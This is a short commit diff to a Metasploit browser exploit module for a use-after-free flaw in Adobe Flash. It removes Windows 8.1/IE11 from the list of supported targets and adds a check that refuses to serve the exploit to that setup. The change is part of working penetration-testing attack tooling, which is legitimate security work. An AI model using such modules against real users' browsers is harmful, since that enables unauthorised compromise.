Land rapid7#5685, @wchen-r7's check for IE11/Win8

Author: jvazquez-r7

modules/exploits/multi/browser/adobe_flash_hacking_team_uaf.rb

@@ -21,8 +21,7 @@ def initialize(info={})
 
         Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.194,
         Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.194,
-        Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194,
-        Windows 8.1 (32-bit), IE11 and Flash 17.0.0.169, and
+        Windows 8.1 (32-bit), Firefox and Adobe Flash 18.0.0.194, and
         Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.468.
       },
       'License'             => MSF_LICENSE,
@@ -106,6 +105,12 @@ def exploit
   def on_request_exploit(cli, request, target_info)
     print_status("Request: #{request.uri}")
 
+    if target_info[:os_name] == OperatingSystems::Match::WINDOWS_81 && target_info[:ua_ver] == '11.0'
+      print_warning("Target setup not supported")
+      send_not_found(cli)
+      return
+    end
+
     if request.uri =~ /\.swf$/
       print_status('Sending SWF...')
       send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})